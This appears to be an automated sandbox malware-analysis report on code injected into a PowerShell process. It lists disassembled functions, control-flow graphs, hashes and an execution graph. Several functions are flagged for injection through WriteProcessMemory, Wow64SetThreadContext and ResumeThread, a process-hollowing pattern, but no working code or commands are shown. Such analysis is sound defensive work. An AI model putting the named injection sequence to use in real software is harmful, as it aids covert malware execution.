99->90 100->81 116 38514b 101->116 117 38514d-385157 101->117 118 3854c0-3854c6 102->118 119 3854d6-3854da 102->119 113 38542c-38542e 106->113 114 385430-38543c 106->114 115 38532d-38532f 107->115 108->84 134 385304-385309 108->134 120 385188-38518b 109->120 121 38518d-38519a 109->121 111 3851a1-3851ad 110->111 142 3851af-3851b5 111->142 143 3851c5-38521c 111->143 123 38543e-385461 113->123 114->123 115->96 124 385335-385339 115->124 116->100 117->100 125 3854c8 118->125 126 3854ca-3854d4 118->126 128 38565f-385669 119->128 129 3854e0-3854e2 119->129 131 38519c 120->131 121->131 124->96 138 38533f-385343 124->138 125->119 126->119 136 38566b-385672 128->136 137 385675-38567b 128->137 140 3854f2 129->140 141 3854e4-3854f0 129->141 131->111 144 38530b-385311 134->144 145 385321-385329 134->145 147 38567d-38567f 137->147 148 385681-38568d 137->148 138->96 149 385349-38536f 138->149 151 3854f4-3854f6 140->151 141->151 153 3851b9-3851bb 142->153 154 3851b7 142->154 156 385313 144->156 157 385315-38531f 144->157 145->115 158 38568f-3856b3 147->158 148->158 149->96 168 385375-385379 149->168 151->128 152 3854fc-38551b 151->152 169 38552b 152->169 170 38551d-385529 152->170 153->143 154->143 156->145 157->145 171 38537b-385384 168->171 172 38539c 168->172 174 38552d-38552f 169->174 170->174 175 38538b-385398 171->175 176 385386-385389 171->176 173 38539f-3853ac 172->173 179 3853b2-385409 173->179 174->128 177 385535-385539 174->177 178 38539a 175->178 176->178 177->128 180 38553f-385543 177->180 178->173 183 385545-385554 180->183 184 385556 180->184 185 385558-38555a 183->185 184->185 185->128 186 385560-385564 185->186 186->128 187 38556a-385589 186->187 190 38558b-385591 187->190 191 3855a1-3855ac 187->191 192 385593 190->192 193 385595-385597 190->193 194 3855bb-3855d7 191->194 195 3855ae-3855b1 191->195 192->191 193->191 196 3855d9-3855ec 194->196 197 3855f4-3855fe 194->197 195->194 196->197 198 385600 197->198 199 385602-385650 197->199 200 385655-38565c 198->200 199->200
                      Strings
                      Memory Dump Source
                      • Source File: 00000006.00000002.369733105.0000000000380000.00000040.00000800.00020000.00000000.sdmp, Offset: 00380000, based on PE: false
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_6_2_380000_powershell.jbxd
                      Similarity
                      • API ID:
                      • String ID: L4#p$L4#p$L4#p
                      • API String ID: 0-1310181111
                      • Opcode ID: 0730fec71d14d66582be21a14e75bba157929df150d0db91486f72490e1ef0a9
                      • Instruction ID: ed9426d04b5ceb8569cde7b120d551002831ccf570bd87aa9ba034f7c63f62e0
                      • Opcode Fuzzy Hash: 0730fec71d14d66582be21a14e75bba157929df150d0db91486f72490e1ef0a9
                      • Instruction Fuzzy Hash: A4F1F635B00704DFDF16AF64C844BAEBBA6EF85311F2585EAD8158B291DB70DC81CB91
                      Function 00258E48 Relevance: 1.6, APIs: 1, Instructions: 118injectionCOMMON
                      Download Yara Rule

                      Control-flow Graph

                      • Executed
                      • Not Executed
                      control_flow_graph 358 258e48-258eb3 360 258eb5-258ec7 358->360 361 258eca-258f31 WriteProcessMemory 358->361 360->361 363 258f33-258f39 361->363 364 258f3a-258f8c 361->364 363->364
                      APIs
                      • WriteProcessMemory.KERNELBASE(?,?,?,?,?), ref: 00258F1B
                      Memory Dump Source
                      • Source File: 00000006.00000002.369702420.0000000000250000.00000040.00000800.00020000.00000000.sdmp, Offset: 00250000, based on PE: false
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_6_2_250000_powershell.jbxd
                      Similarity
                      • API ID: MemoryProcessWrite
                      • String ID:
                      • API String ID: 3559483778-0
                      • Opcode ID: 1b9be2aca22c79cd804bf344fb57216174c88e924fedec279ff9bcda44245d38
                      • Instruction ID: b311a4b75d20ec0e33d8eea18f52d159c8d8096f10bfa39e3718c2b3743558da
                      • Opcode Fuzzy Hash: 1b9be2aca22c79cd804bf344fb57216174c88e924fedec279ff9bcda44245d38
                      • Instruction Fuzzy Hash: 6241ACB4D00258DFDF00CFA9D984AEEBBF1BB49310F20942AE814B7250D774AA55CF68
                      Function 00258AF8 Relevance: 1.6, APIs: 1, Instructions: 99threadCOMMON
                      Download Yara Rule

                      Control-flow Graph

                      • Executed
                      • Not Executed
                      control_flow_graph 369 258af8-258b60 372 258b77-258bc5 Wow64SetThreadContext 369->372 373 258b62-258b74 369->373 375 258bc7-258bcd 372->375 376 258bce-258c1a 372->376 373->372 375->376
                      APIs
                      • Wow64SetThreadContext.KERNEL32(?,?), ref: 00258BAF
                      Memory Dump Source
                      • Source File: 00000006.00000002.369702420.0000000000250000.00000040.00000800.00020000.00000000.sdmp, Offset: 00250000, based on PE: false
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_6_2_250000_powershell.jbxd
                      Similarity
                      • API ID: ContextThreadWow64
                      • String ID:
                      • API String ID: 983334009-0
                      • Opcode ID: ca18f2fa54b5f1ec3f22d711c700cefecba03c98cb4ba667de843275f41dfcd4
                      • Instruction ID: 14203114f252005e9b9654ec8ee85a072969c67619c1facebf45b62df245a70a
                      • Opcode Fuzzy Hash: ca18f2fa54b5f1ec3f22d711c700cefecba03c98cb4ba667de843275f41dfcd4
                      • Instruction Fuzzy Hash: A541BDB4D10218DFDB10CFA9D984AEEBBF1BF49314F24802AE814BB250D779A949CF54
                      Function 00258B00 Relevance: 1.6, APIs: 1, Instructions: 96threadCOMMON
                      Download Yara Rule

                      Control-flow Graph

                      • Executed
                      • Not Executed
                      control_flow_graph 381 258b00-258b60 383 258b77-258bc5 Wow64SetThreadContext 381->383 384 258b62-258b74 381->384 386 258bc7-258bcd 383->386 387 258bce-258c1a 383->387 384->383 386->387
                      APIs
                      • Wow64SetThreadContext.KERNEL32(?,?), ref: 00258BAF
                      Memory Dump Source
                      • Source File: 00000006.00000002.369702420.0000000000250000.00000040.00000800.00020000.00000000.sdmp, Offset: 00250000, based on PE: false
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_6_2_250000_powershell.jbxd
                      Similarity
                      • API ID: ContextThreadWow64
                      • String ID:
                      • API String ID: 983334009-0
                      • Opcode ID: 92b6988bd740d87f5b86e98c6c6452166e67aec2ec61c891b6e56d1e15fbd0c8
                      • Instruction ID: b4436ce712a1e45c2f3d888f977fd54dc478cad17ba5208fa33e2d05e1aef449
                      • Opcode Fuzzy Hash: 92b6988bd740d87f5b86e98c6c6452166e67aec2ec61c891b6e56d1e15fbd0c8
                      • Instruction Fuzzy Hash: 1241CCB4D00218DFDB10CFA9D984AEEBBF5BF49314F24802AE818B7240D778A949CF54
                      Function 00258A08 Relevance: 1.6, APIs: 1, Instructions: 78threadCOMMON
                      Download Yara Rule

                      Control-flow Graph

                      • Executed
                      • Not Executed
                      control_flow_graph 392 258a08-258aa4 ResumeThread 395 258aa6-258aac 392->395 396 258aad-258aef 392->396 395->396
                      APIs
                      • ResumeThread.KERNELBASE(?), ref: 00258A8E
                      Memory Dump Source
                      • Source File: 00000006.00000002.369702420.0000000000250000.00000040.00000800.00020000.00000000.sdmp, Offset: 00250000, based on PE: false
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_6_2_250000_powershell.jbxd
                      Similarity
                      • API ID: ResumeThread
                      • String ID:
                      • API String ID: 947044025-0
                      • Opcode ID: f870510facd0a98037b6257b9cbf382c5178db29603958b50bd213bedfe3b8f2
                      • Instruction ID: c67ab3ae614a63f047b8e77b6c682a192cc660792ff0f00f9c6369f4e55f2a54
                      • Opcode Fuzzy Hash: f870510facd0a98037b6257b9cbf382c5178db29603958b50bd213bedfe3b8f2
                      • Instruction Fuzzy Hash: 0131CAB4D112589FDF10CFA9D884AEEFBB0EF49310F24842AE815B7250C775A905CF99
                      Function 00258A10 Relevance: 1.6, APIs: 1, Instructions: 75threadCOMMON
                      Download Yara Rule

                      Control-flow Graph

                      • Executed
                      • Not Executed
                      control_flow_graph 401 258a10-258aa4 ResumeThread 404 258aa6-258aac 401->404 405 258aad-258aef 401->405 404->405
                      APIs
                      • ResumeThread.KERNELBASE(?), ref: 00258A8E
                      Memory Dump Source
                      • Source File: 00000006.00000002.369702420.0000000000250000.00000040.00000800.00020000.00000000.sdmp, Offset: 00250000, based on PE: false
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_6_2_250000_powershell.jbxd
                      Similarity
                      • API ID: ResumeThread
                      • String ID:
                      • API String ID: 947044025-0
                      • Opcode ID: 4f89e6e024a77f247fece73f098928785368ff9d9011525078bec4da35214249
                      • Instruction ID: 5f347ca25a5a8427342772f2e49380a6b76568674814725d89b19830cc74029a
                      • Opcode Fuzzy Hash: 4f89e6e024a77f247fece73f098928785368ff9d9011525078bec4da35214249
                      • Instruction Fuzzy Hash: 5E31C9B4D002189FDB10CFA9D884AAEFBB4AB49310F20842AE818B7200D775A905CF98
                      Function 00384988 Relevance: .5, Instructions: 539COMMON
                      Download Yara Rule
                      Memory Dump Source
                      • Source File: 00000006.00000002.369733105.0000000000380000.00000040.00000800.00020000.00000000.sdmp, Offset: 00380000, based on PE: false
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_6_2_380000_powershell.jbxd
                      Similarity
                      • API ID:
                      • String ID:
                      • API String ID:
                      • Opcode ID: d07793156ab706f7e8ac51f8a1f243203b2794cca7a74164db4d8bf44e837df5
                      • Instruction ID: bc040c34dc93937376a7a1be624b74477d89f0033c9b3db5093f488ef66d6126
                      • Opcode Fuzzy Hash: d07793156ab706f7e8ac51f8a1f243203b2794cca7a74164db4d8bf44e837df5
                      • Instruction Fuzzy Hash: FD02EF31B04316DFCB2AAF68C44066ABBB6FF95310B2580FAD815CBA51DB75CC45CBA1
                      Function 00383A08 Relevance: .5, Instructions: 453COMMON
                      Download Yara Rule

                      Control-flow Graph

                      • Executed
                      • Not Executed
                      control_flow_graph 761 383a08-383a2b 762 383be9-383c35 761->762 763 383a31-383a36 761->763 773 383c3b-383c40 762->773 774 383dc1-383e0b 762->774 764 383a38-383a3e 763->764 765 383a4e-383a52 763->765 769 383a40 764->769 770 383a42-383a4c 764->770 766 383a58-383a5a 765->766 767 383b90-383b9a 765->767 771 383a6a 766->771 772 383a5c-383a68 766->772 775 383ba8-383bae 767->775 776 383b9c-383ba5 767->776 769->765 770->765 777 383a6c-383a6e 771->777 772->777 778 383c58-383c5c 773->778 779 383c42-383c48 773->779 790 383e11-383e16 774->790 791 383f62-383fa6 774->791 780 383bb0-383bb2 775->780 781 383bb4-383bc0 775->781 777->767 784 383a74-383a78 777->784 788 383d71-383d7b 778->788 789 383c62-383c64 778->789 785 383c4a 779->785 786 383c4c-383c56 779->786 787 383bc2-383be6 780->787 781->787 792 383a98 784->792 793 383a7a-383a96 784->793 785->778 786->778 794 383d89-383d8f 788->794 795 383d7d-383d86 788->795 797 383c74 789->797 798 383c66-383c72 789->798 799 383e18-383e1e 790->799 800 383e2e-383e32 790->800 848 383fa8-383faa 791->848 849 383fb4-383fcc 791->849 804 383a9a-383a9c 792->804 793->804 801 383d91-383d93 794->801 802 383d95-383da1 794->802 805 383c76-383c78 797->805 798->805 807 383e20 799->807 808 383e22-383e2c 799->808 811 383e38-383e3a 800->811 812 383f0f-383f19 800->812 810 383da3-383dbe 801->810 802->810 804->767 813 383aa2-383aa6 804->813 805->788 814 383c7e-383c9d 805->814 807->800 808->800 819 383e4a 811->819 820 383e3c-383e48 811->820 816 383f1b-383f24 812->816 817 383f27-383f2d 812->817 821 383aa8-383ab7 813->821 822 383ab9 813->822 846 383cad 814->846 847 383c9f-383cab 814->847 829 383f2f-383f31 817->829 830 383f33-383f3f 817->830 832 383e4c-383e4e 819->832 820->832 828 383abb-383abd 821->828 822->828 828->767 833 383ac3-383ac5 828->833 834 383f41-383f5f 829->834 830->834 832->812 835 383e54-383e58 832->835 839 383adf-383af9 833->839 840 383ac7-383acd 833->840 842 383e78 835->842 843 383e5a-383e76 835->843 859 383b08-383b1e 839->859 860 383afb-383afe 839->860 844 383acf 840->844 845 383ad1-383add 840->845 850 383e7a-383e7c 842->850 843->850 844->839 845->839 853 383caf-383cb1 846->853 847->853 848->849 864 383fce 849->864 865 383fd0-383fd2 849->865 850->812 854 383e82-383e85 850->854 853->788 857 383cb7-383cd6 853->857 863 383e8f-383e95 854->863 878 383cd8-383cde 857->878 879 383cee-383d0d 857->879 870 383b20-383b26 859->870 871 383b36-383b8d 859->871 860->859 869 383e9b-383e9d 863->869 867 383fdc-383fdd 864->867 865->867 874 383e9f-383ea5 869->874 875 383eb5-383f0c 869->875 876 383b28 870->876 877 383b2a-383b2c 870->877 880 383ea9-383eab 874->880 881 383ea7 874->881 876->871 877->871 883 383ce0 878->883 884 383ce2-383ce4 878->884 887 383d0f-383d12 879->887 888 383d14-383d62 879->888 880->875 881->875 883->879 884->879 889 383d67-383d6e 887->889 888->889
                      Memory Dump Source
                      • Source File: 00000006.00000002.369733105.0000000000380000.00000040.00000800.00020000.00000000.sdmp, Offset: 00380000, based on PE: false
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_6_2_380000_powershell.jbxd
                      Similarity
                      • API ID:
                      • String ID:
                      • API String ID:
                      • Opcode ID: 5d5c3e6d3f521390be477bcb35e26615720564b04d5c95f0a37d0f8efe0195b6
                      • Instruction ID: 7850398df8adf7fa7ca83808fb58fe531088179e05a3906ea20e62038941111f
                      • Opcode Fuzzy Hash: 5d5c3e6d3f521390be477bcb35e26615720564b04d5c95f0a37d0f8efe0195b6
                      • Instruction Fuzzy Hash: BCE10071B043049FCB1AAA78881076ABBF6EF85710F2580FAD855DB391DB75CE41C7A1
                      Function 003843E8 Relevance: .4, Instructions: 370COMMON
                      Download Yara Rule

                      Control-flow Graph

                      • Executed
                      • Not Executed
                      control_flow_graph 896 3843e8-38440b 897 384411-384416 896->897 898 3845e6-384612 896->898 899 384418-38441e 897->899 900 38442e-384432 897->900 906 38465f-384699 898->906 907 384614-384619 898->907 902 384420 899->902 903 384422-38442c 899->903 904 384438-38443c 900->904 905 384593-38459d 900->905 902->900 903->900 910 38443e-38444d 904->910 911 38444f 904->911 908 3845ab-3845b1 905->908 909 38459f-3845a8 905->909 924 3846b8 906->924 925 38469b-3846b6 906->925 913 38461b-384621 907->913 914 384631-384649 907->914 916 3845b3-3845b5 908->916 917 3845b7-3845c3 908->917 912 384451-384453 910->912 911->912 912->905 918 384459-384479 912->918 920 384623 913->920 921 384625-38462f 913->921 927 38464b-38464d 914->927 928 384657-38465c 914->928 922 3845c5-3845e3 916->922 917->922 943 384498 918->943 944 38447b-384496 918->944 920->914 921->914 931 3846ba-3846bc 924->931 925->931 927->928 934 38474a-384754 931->934 935 3846c2-3846c6 931->935 936 384760-384766 934->936 937 384756-38475d 934->937 935->934 940 3846cc-3846e9 935->940 941 384768-38476a 936->941 942 38476c-384778 936->942 949 384799-38479e 940->949 950 3846ef-3846f1 940->950 947 38477a-384796 941->947 942->947 948 38449a-38449c 943->948 944->948 948->905 953 3844a2-3844a4 948->953 949->950 954 38470b-384720 950->954 955 3846f3-3846f9 950->955 957 3844b4 953->957 958 3844a6-3844b2 953->958 968 3847a3-3847d4 954->968 969 384726-384744 954->969 960 3846fb 955->960 961 3846fd-384709 955->961 959 3844b6-3844b8 957->959 958->959 959->905 964 3844be-3844de 959->964 960->954 961->954 977 3844e0-3844e6 964->977 978 3844f6-3844fa 964->978 973 3847e4 968->973 974 3847d6-3847e2 968->974 969->934 976 3847e6-3847e8 973->976 974->976 979 38480a-384814 976->979 980 3847ea-3847ee 976->980 981 3844e8 977->981 982 3844ea-3844ec 977->982 983 3844fc-384502 978->983 984 384514-384518 978->984 986 38481e-384824 979->986 987 384816-38481b 979->987 980->979 985 3847f0-384807 980->985 981->978 982->978 988 384504 983->988 989 384506-384512 983->989 990 38451f-384521 984->990 991 38482a-384836 986->991 992 384826-384828 986->992 988->984 989->984 993 384539-384590 990->993 994 384523-384529 990->994 996 384838-384852 991->996 992->996 998 38452b 994->998 999 38452d-38452f 994->999 998->993 999->993
                      Memory Dump Source
                      • Source File: 00000006.00000002.369733105.0000000000380000.00000040.00000800.00020000.00000000.sdmp, Offset: 00380000, based on PE: false
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_6_2_380000_powershell.jbxd
                      Similarity
                      • API ID:
                      • String ID:
                      • API String ID:
                      • Opcode ID: 6b17f488c4673efcbab9b50f2c2f99cf063591cf5617c7e82bf19a9c02d76d91
                      • Instruction ID: 204a7a341cc1c16b77f1c04790445253c288977dedfd16d3655d9c78c9cc8393
                      • Opcode Fuzzy Hash: 6b17f488c4673efcbab9b50f2c2f99cf063591cf5617c7e82bf19a9c02d76d91
                      • Instruction Fuzzy Hash: BFC135307083528FDB26AB75981076ABBA6EFC3320F2580FBD455CBA92DA35CC41C761
                      Function 003843C8 Relevance: .1, Instructions: 111COMMON
                      Download Yara Rule
                      Memory Dump Source
                      • Source File: 00000006.00000002.369733105.0000000000380000.00000040.00000800.00020000.00000000.sdmp, Offset: 00380000, based on PE: false
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_6_2_380000_powershell.jbxd
                      Similarity
                      • API ID:
                      • String ID:
                      • API String ID:
                      • Opcode ID: 5f46fccd497fb12296a20a87bcd47b39c4d4f5b64152056db10c2e3469dee883
                      • Instruction ID: 5c245a327fd2a9e24b2ad405384c4ed9566d4ba866828aab1f22313832f5492a
                      • Opcode Fuzzy Hash: 5f46fccd497fb12296a20a87bcd47b39c4d4f5b64152056db10c2e3469dee883
                      • Instruction Fuzzy Hash: 9B31D07460430ADFDF26AA25D41077A7BB4AF56311F2640F6D805DB992D775CC80CB61
                      Function 00384D40 Relevance: .1, Instructions: 71COMMON
                      Download Yara Rule
                      Memory Dump Source
                      • Source File: 00000006.00000002.369733105.0000000000380000.00000040.00000800.00020000.00000000.sdmp, Offset: 00380000, based on PE: false
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_6_2_380000_powershell.jbxd
                      Similarity
                      • API ID:
                      • String ID:
                      • API String ID:
                      • Opcode ID: 520d41f35cbf987d3090a52d9e49b131e539879058691247edba9bf181b19d6c
                      • Instruction ID: b1ad8f0b8bc138f6402a8f1c832575afdd88a2af2e04ce7c89dcb1ab196310fc
                      • Opcode Fuzzy Hash: 520d41f35cbf987d3090a52d9e49b131e539879058691247edba9bf181b19d6c
                      • Instruction Fuzzy Hash: 18216A30A00306CFDF26EF69C554B6AB7EABF95310F1681A6D4088BA51E770EC85CB91
                      Function 00381189 Relevance: .1, Instructions: 54COMMON
                      Download Yara Rule
                      Memory Dump Source
                      • Source File: 00000006.00000002.369733105.0000000000380000.00000040.00000800.00020000.00000000.sdmp, Offset: 00380000, based on PE: false
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_6_2_380000_powershell.jbxd
                      Similarity
                      • API ID:
                      • String ID:
                      • API String ID:
                      • Opcode ID: 0a225333315d6774a9cd21ec922fd4e675a0e1d09f984d2c78ac6e148bff4901
                      • Instruction ID: 0fb18c09bf0e65dc84b987032de3df6175dfb7df672bf7977b81c7795c934eae
                      • Opcode Fuzzy Hash: 0a225333315d6774a9cd21ec922fd4e675a0e1d09f984d2c78ac6e148bff4901
                      • Instruction Fuzzy Hash: 0311262035E3886FD71663304C29F6E2EA98F86700F0581EAF585CF2D3C9A59C4583A7
                      Function 0012D006 Relevance: .0, Instructions: 47COMMON
                      Download Yara Rule
                      Memory Dump Source
                      • Source File: 00000006.00000002.369672871.000000000012D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0012D000, based on PE: false
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_6_2_12d000_powershell.jbxd
                      Similarity
                      • API ID:
                      • String ID:
                      • API String ID:
                      • Opcode ID: a2c6848eea3fe766b2c70d6f9801aba0d6f5b36612370fe8517f939803c32020
                      • Instruction ID: acb61f833665f29f419297a07d951427f065dc78dc4968765c14c578eeb7af83
                      • Opcode Fuzzy Hash: a2c6848eea3fe766b2c70d6f9801aba0d6f5b36612370fe8517f939803c32020
                      • Instruction Fuzzy Hash: 0C014C6140D3D09FD7124B25EC94752BFA8DF57624F1984DBE8848F1A3C2789C49CBB6
                      Function 0012D01D Relevance: .0, Instructions: 45COMMON
                      Download Yara Rule
                      Memory Dump Source
                      • Source File: 00000006.00000002.369672871.000000000012D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0012D000, based on PE: false
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_6_2_12d000_powershell.jbxd
                      Similarity
                      • API ID:
                      • String ID:
                      • API String ID:
                      • Opcode ID: fdcd2599c446df04fb0050d77049afb2118e5a4c849285a35a90d95297edd76d
                      • Instruction ID: 004ae31b3d41e8662bf8272e40c2177fd778ae463d12f08e0fc5c3fab7401c7c
                      • Opcode Fuzzy Hash: fdcd2599c446df04fb0050d77049afb2118e5a4c849285a35a90d95297edd76d
                      • Instruction Fuzzy Hash: 2601DF70104350AEE7104A26E8C4B66BF98DF41360F28C56AFC884A292C3799845CABA
                      Function 003811B0 Relevance: .0, Instructions: 41COMMON
                      Download Yara Rule
                      Memory Dump Source
                      • Source File: 00000006.00000002.369733105.0000000000380000.00000040.00000800.00020000.00000000.sdmp, Offset: 00380000, based on PE: false
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_6_2_380000_powershell.jbxd
                      Similarity
                      • API ID:
                      • String ID:
                      • API String ID:
                      • Opcode ID: f84448ff32cf5d6c46b951a92f4ed32e70e9541acb5e4f76d2700b5a4200646e
                      • Instruction ID: 997ee8a9034dafc78856e87ef604a29ca48f59a65950489136ea677de5b81949
                      • Opcode Fuzzy Hash: f84448ff32cf5d6c46b951a92f4ed32e70e9541acb5e4f76d2700b5a4200646e
                      • Instruction Fuzzy Hash: 72F0C2303513087BE62466618815F7F19DADBC8B11F108528F906DF3C1CDB2AC8143A6

                      Non-executed Functions

                      Function 003800A0 Relevance: 11.7, Strings: 9, Instructions: 415COMMON
                      Download Yara Rule
                      Strings
                      Memory Dump Source
                      • Source File: 00000006.00000002.369733105.0000000000380000.00000040.00000800.00020000.00000000.sdmp, Offset: 00380000, based on PE: false
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_6_2_380000_powershell.jbxd
                      Similarity
                      • API ID:
                      • String ID: L4#p$L4#p$L4#p$L4#p$L4#p$L4#p$`81$`81$`81
                      • API String ID: 0-1692324471
                      • Opcode ID: 3ecb811a251ad5304831be7bc945cc0946b23c7823df8bdbe6e0b2653a47a8be
                      • Instruction ID: 22c62e3209421b51f12eb7f1b52bc87bf03891a1f2a3a37ca0794d04326a3c5b
                      • Opcode Fuzzy Hash: 3ecb811a251ad5304831be7bc945cc0946b23c7823df8bdbe6e0b2653a47a8be
                      • Instruction Fuzzy Hash: 65E13A35B00308DFDF1AAB64D810BBE7BA6EF85310F1584B6E9019B291CBB1CD45CBA1
                      Function 003805C8 Relevance: 7.7, Strings: 6, Instructions: 207COMMON
                      Download Yara Rule
                      Strings
                      Memory Dump Source
                      • Source File: 00000006.00000002.369733105.0000000000380000.00000040.00000800.00020000.00000000.sdmp, Offset: 00380000, based on PE: false
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_6_2_380000_powershell.jbxd
                      Similarity
                      • API ID:
                      • String ID: L4#p$L4#p$L4#p$\91$\91$\91
                      • API String ID: 0-638647749
                      • Opcode ID: 8aa02579859c80b72555d303c62a66a8bf5ec1c832079014208e41d6d199baee
                      • Instruction ID: 63567cd2685aa77ea558a19ebb216b2e5a53887ee30db583a86236b6f12925a7
                      • Opcode Fuzzy Hash: 8aa02579859c80b72555d303c62a66a8bf5ec1c832079014208e41d6d199baee
                      • Instruction Fuzzy Hash: 006168357003489FDF5AAA24C810BBE7BA6EFC5310F1580B6F9519B291DBB1DD84CBA1
                      Function 00380014 Relevance: 7.7, Strings: 6, Instructions: 157COMMON
                      Download Yara Rule
                      Strings
                      Memory Dump Source
                      • Source File: 00000006.00000002.369733105.0000000000380000.00000040.00000800.00020000.00000000.sdmp, Offset: 00380000, based on PE: false
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_6_2_380000_powershell.jbxd
                      Similarity
                      • API ID:
                      • String ID: <81$L4#p$L4#p$L4#p$`81$`81
                      • API String ID: 0-4271451040
                      • Opcode ID: 75d17a338696996a24b39edd96c36c2f29aa090b88be47bfde311897a2c24377
                      • Instruction ID: 89c4a795214c108f3d37b4aac6a9389c1c07339865ed0c01fce2978d9dff59d5
                      • Opcode Fuzzy Hash: 75d17a338696996a24b39edd96c36c2f29aa090b88be47bfde311897a2c24377
                      • Instruction Fuzzy Hash: DB51D5746093889FDB1B9B24C814B693FB5AF42310F1A81E7E8419F1E2D7B4DD88C762
                      Function 00380080 Relevance: 6.4, Strings: 5, Instructions: 124COMMON
                      Download Yara Rule
                      Strings
                      Memory Dump Source
                      • Source File: 00000006.00000002.369733105.0000000000380000.00000040.00000800.00020000.00000000.sdmp, Offset: 00380000, based on PE: false
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_6_2_380000_powershell.jbxd
                      Similarity
                      • API ID:
                      • String ID: L4#p$L4#p$L4#p$`81$`81
                      • API String ID: 0-1702217655
                      • Opcode ID: b42335ac379e5ff9e59a11c301dfe410270c7219487774b314d798ddd4296ab8
                      • Instruction ID: 28bdfe7c8cf5516183d3f39d6a295738df17274bb87910a34d4fe511a4ec3675
                      • Opcode Fuzzy Hash: b42335ac379e5ff9e59a11c301dfe410270c7219487774b314d798ddd4296ab8
                      • Instruction Fuzzy Hash: 0641F974604348DFDF5AAF14C848BBD7BB5AF41310F1681E6E8419B291C7B0DD88CB91
                      Function 00381420 Relevance: 5.4, Strings: 4, Instructions: 383COMMON
                      Download Yara Rule
                      Strings
                      Memory Dump Source
                      • Source File: 00000006.00000002.369733105.0000000000380000.00000040.00000800.00020000.00000000.sdmp, Offset: 00380000, based on PE: false
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_6_2_380000_powershell.jbxd
                      Similarity
                      • API ID:
                      • String ID: 4:1$4:1$91$91
                      • API String ID: 0-3817315892
                      • Opcode ID: 224be80e75c4b0cf21b0ed3d489a22298d6985785d8935883fa2eaa3005af068
                      • Instruction ID: ac42dc09157753aad6dc07f896cb70c7d12c8e25f15e8f439195f2d857a7cd62
                      • Opcode Fuzzy Hash: 224be80e75c4b0cf21b0ed3d489a22298d6985785d8935883fa2eaa3005af068
                      • Instruction Fuzzy Hash: 0BC1F635B043118FDB16AB69D840B6ABBFAEFC5310B2981BAD849CB251DB31DD42C791

                      Execution Graph

                      Execution Coverage:6.1%
                      Dynamic/Decrypted Code Coverage:19.9%
                      Signature Coverage:4.2%
                      Total number of Nodes:1497
                      Total number of Limit Nodes:45
                      execution_graph 53050 10006d60 53051 10006d69 53050->53051 53052 10006d72 53050->53052 53054 10006c5f 53051->53054 53074 10005af6 GetLastError 53054->53074 53056 10006c6c 53094 10006d7e 53056->53094 53058 10006c74 53103 100069f3 53058->53103 53061 10006c8b 53061->53052 53064 10006cce 53128 1000571e 19 API calls __dosmaperr 53064->53128 53068 10006cc9 53127 10006368 19 API calls _abort 53068->53127 53070 10006d12 53070->53064 53130 100068c9 25 API calls 53070->53130 53071 10006ce6 53071->53070 53129 1000571e 19 API calls __dosmaperr 53071->53129 53075 10005b12 53074->53075 53076 10005b0c 53074->53076 53080 10005b61 SetLastError 53075->53080 53132 1000637b 19 API calls 2 library calls 53075->53132 53131 10005e08 10 API calls 2 library calls 53076->53131 53079 10005b24 53084 10005b2c 53079->53084 53134 10005e5e 10 API calls 2 library calls 53079->53134 53080->53056 53082 10005b41 53082->53084 53085 10005b48 53082->53085 53133 1000571e 19 API calls __dosmaperr 53084->53133 53135 1000593c 19 API calls _abort 53085->53135 53086 10005b32 53088 10005b6d SetLastError 53086->53088 53137 100055a8 36 API calls _abort 53088->53137 53089 10005b53 53136 1000571e 19 API calls __dosmaperr 53089->53136 53093 10005b5a 53093->53080 53093->53088 53095 10006d8a ___scrt_is_nonwritable_in_current_image 53094->53095 53096 10005af6 _abort 36 API calls 53095->53096 53101 10006d94 53096->53101 53098 10006e18 _abort 53098->53058 53101->53098 53138 100055a8 36 API calls _abort 53101->53138 53139 10005671 RtlEnterCriticalSection 53101->53139 53140 1000571e 19 API calls __dosmaperr 53101->53140 53141 10006e0f RtlLeaveCriticalSection _abort 53101->53141 53142 100054a7 53103->53142 53106 10006a14 GetOEMCP 53108 10006a3d 53106->53108 53107 10006a26 53107->53108 53109 10006a2b GetACP 53107->53109 53108->53061 53110 100056d0 53108->53110 53109->53108 53111 1000570e 53110->53111 53115 100056de _abort 53110->53115 53153 10006368 19 API calls _abort 53111->53153 53112 100056f9 RtlAllocateHeap 53114 1000570c 53112->53114 53112->53115 53114->53064 53117 10006e20 53114->53117 53115->53111 53115->53112 53152 1000474f 7 API calls 2 library calls 53115->53152 53118 100069f3 38 API calls 53117->53118 53119 10006e3f 53118->53119 53121 10006e90 IsValidCodePage 53119->53121 53124 10006e46 53119->53124 53126 10006eb5 ___scrt_fastfail 53119->53126 53123 10006ea2 GetCPInfo 53121->53123 53121->53124 53122 10006cc1 53122->53068 53122->53071 53123->53124 53123->53126 53164 10002ada 53124->53164 53154 10006acb GetCPInfo 53126->53154 53127->53064 53128->53061 53129->53070 53130->53064 53131->53075 53132->53079 53133->53086 53134->53082 53135->53089 53136->53093 53139->53101 53140->53101 53141->53101 53143 100054c4 53142->53143 53144 100054ba 53142->53144 53143->53144 53145 10005af6 _abort 36 API calls 53143->53145 53144->53106 53144->53107 53146 100054e5 53145->53146 53150 10007a00 36 API calls __fassign 53146->53150 53148 100054fe 53151 10007a2d 36 API calls __fassign 53148->53151 53150->53148 53151->53144 53152->53115 